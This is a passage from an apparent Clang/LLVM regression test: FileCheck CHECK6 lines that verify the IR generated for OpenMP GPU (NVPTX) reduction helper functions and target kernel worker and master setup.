[[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca double, align 8 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [1 x i8*]* // CHECK6-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to double* // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr double, double* [[TMP12]], i32 1 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast double* [[TMP13]] to i8* // CHECK6-NEXT: [[TMP15:%.*]] = bitcast double* [[TMP12]] to i64* // CHECK6-NEXT: [[TMP16:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i64* // CHECK6-NEXT: [[TMP17:%.*]] = load i64, i64* [[TMP15]], align 8 // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP18:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK6-NEXT: [[TMP19:%.*]] = call i64 @__kmpc_shuffle_int64(i64 [[TMP17]], i16 [[TMP7]], i16 [[TMP18]]) // CHECK6-NEXT: store i64 [[TMP19]], i64* [[TMP16]], align 8 // CHECK6-NEXT: [[TMP20:%.*]] = getelementptr i64, i64* [[TMP15]], i32 1 // CHECK6-NEXT: [[TMP21:%.*]] = getelementptr i64, i64* [[TMP16]], i32 1 // CHECK6-NEXT: [[TMP22:%.*]] = bitcast double* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK6-NEXT: store i8* [[TMP22]], i8** [[TMP11]], align 4 // CHECK6-NEXT: [[TMP23:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK6-NEXT: [[TMP24:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP25:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP26:%.*]] = and i1 [[TMP24]], [[TMP25]] // CHECK6-NEXT: [[TMP27:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK6-NEXT: [[TMP28:%.*]] = and i16 [[TMP6]], 1 // CHECK6-NEXT: [[TMP29:%.*]] = icmp eq i16 [[TMP28]], 0 // CHECK6-NEXT: [[TMP30:%.*]] = and i1 [[TMP27]], [[TMP29]] // CHECK6-NEXT: [[TMP31:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK6-NEXT: [[TMP32:%.*]] = and i1 [[TMP30]], [[TMP31]] // CHECK6-NEXT: [[TMP33:%.*]] = or i1 [[TMP23]], [[TMP26]] // CHECK6-NEXT: [[TMP34:%.*]] = or i1 [[TMP33]], [[TMP32]] // CHECK6-NEXT: br i1 [[TMP34]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP35:%.*]] = bitcast [1 x i8*]* [[TMP5]] to i8* // CHECK6-NEXT: [[TMP36:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK6-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP35]], i8* [[TMP36]]) #[[ATTR3]] // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP38:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP39:%.*]] = and i1 [[TMP37]], [[TMP38]] // CHECK6-NEXT: br i1 [[TMP39]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK6: then4: // CHECK6-NEXT: [[TMP40:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP41:%.*]] = load i8*, i8** [[TMP40]], align 4 // CHECK6-NEXT: [[TMP42:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP43:%.*]] = load i8*, i8** [[TMP42]], align 4 // CHECK6-NEXT: [[TMP44:%.*]] = bitcast i8* [[TMP41]] to double* // CHECK6-NEXT: [[TMP45:%.*]] = bitcast i8* [[TMP43]] to double* // CHECK6-NEXT: [[TMP46:%.*]] = load double, double* [[TMP44]], align 8 // CHECK6-NEXT: store double [[TMP46]], double* [[TMP45]], align 8 // CHECK6-NEXT: br label [[IFCONT6:%.*]] // CHECK6: else5: // CHECK6-NEXT: br label [[IFCONT6]] // CHECK6: ifcont6: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTCNT_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK6-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK6-NEXT: store i32 0, i32* [[DOTCNT_ADDR]], align 4 // CHECK6-NEXT: br label [[PRECOND:%.*]] // CHECK6: precond: // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTCNT_ADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = icmp ult i32 [[TMP5]], 2 // CHECK6-NEXT: br i1 [[TMP6]], label [[BODY:%.*]], label [[EXIT:%.*]] // CHECK6: body: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2:[0-9]+]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP8:%.*]] = load i8*, i8** [[TMP7]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = bitcast i8* [[TMP8]] to i32* // CHECK6-NEXT: [[TMP10:%.*]] = getelementptr i32, i32* [[TMP9]], i32 [[TMP5]] // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK6-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP13]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK6: then4: // CHECK6-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP15:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK6-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK6-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP17]], i32 [[TMP5]] // CHECK6-NEXT: [[TMP19:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK6-NEXT: store i32 [[TMP19]], i32* [[TMP18]], align 4 // CHECK6-NEXT: br label [[IFCONT6:%.*]] // CHECK6: else5: // CHECK6-NEXT: br label [[IFCONT6]] // CHECK6: ifcont6: // CHECK6-NEXT: [[TMP20:%.*]] = add nsw i32 [[TMP5]], 1 // CHECK6-NEXT: store i32 [[TMP20]], i32* [[DOTCNT_ADDR]], align 4 // CHECK6-NEXT: br label [[PRECOND]] // CHECK6: exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK6-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP12:%.*]] = load double, double* [[TMP10]], align 8 // CHECK6-NEXT: store double [[TMP12]], double* [[TMP11]], align 128 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK6-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP9]], i8* [[TMP10]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [1 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.0* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to double* // CHECK6-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP12:%.*]] = load double, double* [[TMP11]], align 128 // CHECK6-NEXT: store double [[TMP12]], double* [[TMP10]], align 8 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [1 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.0* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [1 x i8*], [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[E:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_0:%.*]], %struct._globalized_locals_ty.0* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x double], [2048 x double]* [[E]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP8:%.*]] = bitcast double* [[TMP7]] to i8* // CHECK6-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = bitcast [1 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func"(i8* [[TMP10]], i8* [[TMP9]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker // CHECK6-SAME: () #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[WORK_FN:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[EXEC_STATUS:%.*]] = alloca i8, align 1 // CHECK6-NEXT: store i8* null, i8** [[WORK_FN]], align 4 // CHECK6-NEXT: store i8 0, i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: br label [[DOTAWAIT_WORK:%.*]] // CHECK6: .await.work: // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: [[TMP0:%.*]] = call i1 @__kmpc_kernel_parallel(i8** [[WORK_FN]]) // CHECK6-NEXT: [[TMP1:%.*]] = zext i1 [[TMP0]] to i8 // CHECK6-NEXT: store i8 [[TMP1]], i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: [[TMP2:%.*]] = load i8*, i8** [[WORK_FN]], align 4 // CHECK6-NEXT: [[SHOULD_TERMINATE:%.*]] = icmp eq i8* [[TMP2]], null // CHECK6-NEXT: br i1 [[SHOULD_TERMINATE]], label [[DOTEXIT:%.*]], label [[DOTSELECT_WORKERS:%.*]] // CHECK6: .select.workers: // CHECK6-NEXT: [[TMP3:%.*]] = load i8, i8* [[EXEC_STATUS]], align 1 // CHECK6-NEXT: [[IS_ACTIVE:%.*]] = icmp ne i8 [[TMP3]], 0 // CHECK6-NEXT: br i1 [[IS_ACTIVE]], label [[DOTEXECUTE_PARALLEL:%.*]], label [[DOTBARRIER_PARALLEL:%.*]] // CHECK6: .execute.parallel: // CHECK6-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP2]] to void (i16, i32)* // CHECK6-NEXT: call void [[TMP5]](i16 0, i32 [[TMP4]]) // CHECK6-NEXT: br label [[DOTTERMINATE_PARALLEL:%.*]] // CHECK6: .terminate.parallel: // CHECK6-NEXT: call void @__kmpc_kernel_end_parallel() // CHECK6-NEXT: br label [[DOTBARRIER_PARALLEL]] // CHECK6: .barrier.parallel: // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: br label [[DOTAWAIT_WORK]] // CHECK6: .exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29 // CHECK6-SAME: (i32 [[C:%.*]], i32 [[D:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[C_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[D_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK6-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK6-NEXT: store i32 [[C]], i32* [[C_ADDR]], align 4 // CHECK6-NEXT: store i32 [[D]], i32* [[D_ADDR]], align 4 // CHECK6-NEXT: [[CONV:%.*]] = bitcast i32* [[C_ADDR]] to i8* // CHECK6-NEXT: [[CONV1:%.*]] = bitcast i32* [[D_ADDR]] to float* // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_NUM_THREADS:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[THREAD_LIMIT:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS]], [[NVPTX_WARP_SIZE]] // CHECK6-NEXT: [[TMP0:%.*]] = icmp ult i32 [[NVPTX_TID]], [[THREAD_LIMIT]] // CHECK6-NEXT: br i1 [[TMP0]], label [[DOTWORKER:%.*]], label [[DOTMASTERCHECK:%.*]] // CHECK6: .worker: // CHECK6-NEXT: call void @{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l29_worker() #[[ATTR3]] // CHECK6-NEXT: br label [[DOTEXIT:%.*]] // CHECK6: .mastercheck: // CHECK6-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_NUM_THREADS3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE4:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP1:%.*]] = sub nuw i32 [[NVPTX_WARP_SIZE4]], 1 // CHECK6-NEXT: [[TMP2:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS3]], 1 // CHECK6-NEXT: [[TMP3:%.*]] = xor i32 [[TMP1]], -1 // CHECK6-NEXT: [[MASTER_TID:%.*]] = and i32 [[TMP2]], [[TMP3]] // CHECK6-NEXT: [[TMP4:%.*]] = icmp eq i32 [[NVPTX_TID2]], [[MASTER_TID]] // CHECK6-NEXT: br i1 [[TMP4]], label [[DOTMASTER:%.*]], label [[DOTEXIT]] // CHECK6: .master: // CHECK6-NEXT: [[NVPTX_NUM_THREADS5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.ntid.x() // CHECK6-NEXT: [[NVPTX_WARP_SIZE6:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[THREAD_LIMIT7:%.*]] = sub nuw i32 [[NVPTX_NUM_THREADS5]], [[NVPTX_WARP_SIZE6]] // CHECK6-NEXT: call void @__kmpc_kernel_init(i32 [[THREAD_LIMIT7]], i16 1) // CHECK6-NEXT: call void @__kmpc_data_sharing_init_stack() // CHECK6-NEXT: [[TMP5:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK6-NEXT: [[TMP7:%.*]] = load i8, i8* [[CONV]], align 4 // CHECK6-NEXT: [[C8:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK6-NEXT: store i8 [[TMP7]], i8* [[C8]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = load float, float* [[CONV1]], align 4 // CHECK6-NEXT: [[D9:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: store float [[TMP8]], float* [[D9]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK6-NEXT: store i32 [[TMP9]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK6-NEXT: call void @__omp_outlined__1(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i8* [[C8]], float* [[D9]]) #[[ATTR3]] // CHECK6-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP5]]) // CHECK6-NEXT: br label [[DOTTERMINATION_NOTIFIER:%.*]] // CHECK6: .termination.notifier: // CHECK6-NEXT: call void @__kmpc_kernel_deinit(i16 1) // CHECK6-NEXT: call void @__kmpc_barrier_simple_spmd(%struct.ident_t* null, i32 0) // CHECK6-NEXT: br label [[DOTEXIT]] // CHECK6: .exit: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@__omp_outlined__1 // CHECK6-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i8* nonnull align 1 dereferenceable(1) [[C:%.*]], float* nonnull align 4 dereferenceable(4) [[D:%.*]]) #[[ATTR1]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK6-NEXT: [[C_ADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[D_ADDR:%.*]] = alloca float*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK6-NEXT: store i8* [[C]], i8** [[C_ADDR]], align 4 // CHECK6-NEXT: store float* [[D]], float** [[D_ADDR]], align 4 // CHECK6-NEXT: [[TMP0:%.*]] = load i8*, i8** [[C_ADDR]], align 4 // CHECK6-NEXT: [[TMP1:%.*]] = load float*, float** [[D_ADDR]], align 4 // CHECK6-NEXT: [[TMP2:%.*]] = call i8* @__kmpc_data_sharing_push_stack(i32 8, i16 1) // CHECK6-NEXT: [[TMP3:%.*]] = bitcast i8* [[TMP2]] to %struct._globalized_locals_ty.2* // CHECK6-NEXT: [[C1:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2:%.*]], %struct._globalized_locals_ty.2* [[TMP3]], i32 0, i32 1 // CHECK6-NEXT: [[D2:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_2]], %struct._globalized_locals_ty.2* [[TMP3]], i32 0, i32 0 // CHECK6-NEXT: store i8 0, i8* [[C1]], align 4 // 